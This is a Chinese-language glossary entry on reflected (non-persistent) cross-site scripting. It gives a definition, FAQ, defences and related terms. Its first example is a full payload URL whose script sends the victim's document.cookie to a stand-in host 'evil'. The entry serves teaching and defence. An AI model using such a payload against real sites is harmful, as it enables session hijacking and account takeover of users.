反射型 XSS
反射型 XSS 是什么?
反射型 XSS一种非持久化 XSS,攻击者控制的请求参数被立即反射到响应中,并在受害者浏览器中执行。
反射型 XSS(非持久型,Type-1)发生在 Web 应用从 HTTP 请求(通常是 URL 查询参数或表单字段)取得数据后,未经输出编码就将其回显到响应中。攻击需要受害者点击精心构造的链接,因此通常通过钓鱼邮件、恶意广告或即时消息传播。利用成功后,攻击者可窃取会话 Cookie、以用户身份执行操作,甚至串联实施完全的账户接管。常见防御包括基于上下文的 HTML 编码、严格的内容安全策略,以及会自动转义模板输出的框架。
● 示例
- 01
https://example.com/search?q=<script>document.location='https://evil/?c='+document.cookie</script>
- 02
错误页面将未过滤的 'message' 查询参数直接写入 DOM。
● 常见问题
反射型 XSS 是什么?
一种非持久化 XSS,攻击者控制的请求参数被立即反射到响应中,并在受害者浏览器中执行。 它属于网络安全的 攻击与威胁 分类。
反射型 XSS 是什么意思?
一种非持久化 XSS,攻击者控制的请求参数被立即反射到响应中,并在受害者浏览器中执行。
反射型 XSS 是如何工作的?
反射型 XSS(非持久型,Type-1)发生在 Web 应用从 HTTP 请求(通常是 URL 查询参数或表单字段)取得数据后,未经输出编码就将其回显到响应中。攻击需要受害者点击精心构造的链接,因此通常通过钓鱼邮件、恶意广告或即时消息传播。利用成功后,攻击者可窃取会话 Cookie、以用户身份执行操作,甚至串联实施完全的账户接管。常见防御包括基于上下文的 HTML 编码、严格的内容安全策略,以及会自动转义模板输出的框架。
如何防御 反射型 XSS?
针对 反射型 XSS 的防御通常结合技术控制与运营实践,详见上方完整定义。
反射型 XSS 还有哪些其他名称?
常见的别称包括: 非持久型 XSS, Type-1 XSS。
● 相关术语
- attacks№ 240
跨站脚本(XSS)
一种 Web 漏洞,攻击者可在其他用户浏览的页面中注入恶意脚本,使其在受害者浏览器中以该站点的来源身份运行。
- attacks№ 1107
存储型 XSS
一种持久化的跨站脚本漏洞,攻击者注入的脚本被保存到服务器,并在每位访问者的浏览器中执行。
- attacks№ 347
基于 DOM 的 XSS
一种 XSS 变体,注入和执行完全发生在浏览器中,因为客户端 JavaScript 将未净化的数据写入危险接收点。
- appsec№ 214
内容安全策略 (CSP)
一种 HTTP 响应头,告诉浏览器允许加载哪些来源的脚本、样式、框架等内容,从而限制 XSS 与数据注入攻击的影响。
- attacks№ 821
网络钓鱼
一种社会工程攻击,攻击者冒充可信方,诱骗受害者泄露凭据、转账或运行恶意软件。
- appsec№ 773
输出编码
将不可信数据转换为特定输出上下文(HTML、JavaScript、URL、SQL、Shell)安全的形式,使其无法逃逸并被当作代码执行。
● 参见
- № 104盲打 XSS